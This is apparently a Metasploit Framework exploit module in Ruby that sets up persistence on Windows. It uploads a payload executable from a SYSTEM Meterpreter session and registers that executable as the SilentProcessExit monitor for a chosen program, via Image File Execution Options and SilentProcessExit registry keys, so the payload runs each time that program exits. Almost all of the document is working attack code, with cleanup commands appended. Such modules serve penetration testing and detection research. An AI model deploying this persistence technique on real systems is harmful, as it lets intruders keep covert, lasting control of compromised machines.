📄 Windows Silent Process Exit Persistence

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Local
      Rank = ExcellentRanking
    
      include Msf::Post::Windows::Registry
      include Msf::Post::File
      include Msf::Exploit::EXE
      include Msf::Post::Windows::Priv
      include Msf::Exploit::Local::Persistence
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Deprecated
      moved_from 'exploits/windows/local/persistence_image_exec_options'
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Windows Silent Process Exit Persistence',
            'Description' => %q{
              Windows allows you to set up a debug process when a process exits.
              This module uploads a payload and declares that it is the debug
              process to launch when a specified process exits.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Mithun Shanbhag', # earliest author found
              'bwatters-r7', # msf module
            ],
            'Platform' => [ 'win' ],
            'SessionTypes' => [ 'meterpreter' ],
            'Targets' => [
              [ 'Automatic', {} ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2008-06-28',
            'Privileged' => true,
            'References' => [
              ['ATT&CK', Mitre::Attack::Technique::T1183_IMAGE_FILE_EXECUTION_OPTIONS_INJECTION],
              ['URL', 'https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/']
            ],
            'Compat' => {
              'Meterpreter' => {
                'Commands' => %w[
                  stdapi_sys_config_getenv
                ]
              }
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
              'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
            }
          )
        )
        register_options([
          OptString.new('PAYLOAD_NAME',
                        [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
          OptString.new('IMAGE_FILE', [true, 'Binary to "debug"', nil])
    
        ])
      end
    
      def writable_dir
        d = super
        return session.sys.config.getenv(d) if d.start_with?('%')
    
        d
      end
    
      def check
        print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
        return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
    
        return CheckCode::Safe('You must be System to run this Module') unless is_system?
    
        CheckCode::Appears('Likely exploitable')
      end
    
      def upload_payload(dest_pathname)
        payload_exe = generate_payload_exe
        write_file(dest_pathname, payload_exe)
        vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{dest_pathname}")
      end
    
      def validate_active_host
        unless is_system?
          fail_with(Failure::NoAccess, 'You must be System to run this Module')
        end
    
        begin
          print_status("Attempting Persistence on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
        rescue Rex::Post::Meterpreter::RequestError => e
          elog(e)
          raise Msf::Exploit::Failed, 'Could not connect to session'
        end
      end
    
      def write_reg_keys(image_file, payload_pathname)
        reg_keys = []
        reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}",
                      value_name: 'GlobalFlag',
                      type: 'REG_DWORD',
                      value_value: 512)
        reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
                      value_name: 'ReportingMode',
                      type: 'REG_DWORD',
                      value_value: 1)
        reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
                      value_name: 'MonitorProcess',
                      type: 'REG_SZ',
                      value_value: payload_pathname)
        silent_process_exit_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit'
        registry_createkey(silent_process_exit_key) unless registry_key_exist?(silent_process_exit_key)
        reg_keys.each do |key|
          registry_createkey(key[:key_name]) unless registry_key_exist?(key[:key_name])
          vprint_status("Writing #{key[:value_name]} to #{key[:key_name]}")
          registry_setvaldata(key[:key_name], key[:value_name], key[:value_value], key[:type])
          unless registry_getvalinfo(key[:key_name], key[:value_name])
            print_error("Failed to set #{key[:value_name]} for #{key[:key_name]}")
            return false
          end
        end
      end
    
      def install_persistence
        validate_active_host
        payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
        temp_path = writable_dir
        image_file = datastore['IMAGE_FILE']
        payload_pathname = temp_path + '\\' + payload_name + '.exe'
        vprint_status("Payload pathname = #{payload_pathname}")
        upload_payload(payload_pathname) if write_reg_keys(image_file, payload_pathname)
        @clean_up_rc << "rm #{payload_pathname}\n"
        @clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}\" /v GlobalFlag /f\" -H\n"
        @clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}\" /v ReportingMode /f\" -H\n"
        @clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}\" /v MonitorProcess /f\" -H\n"
      end
    end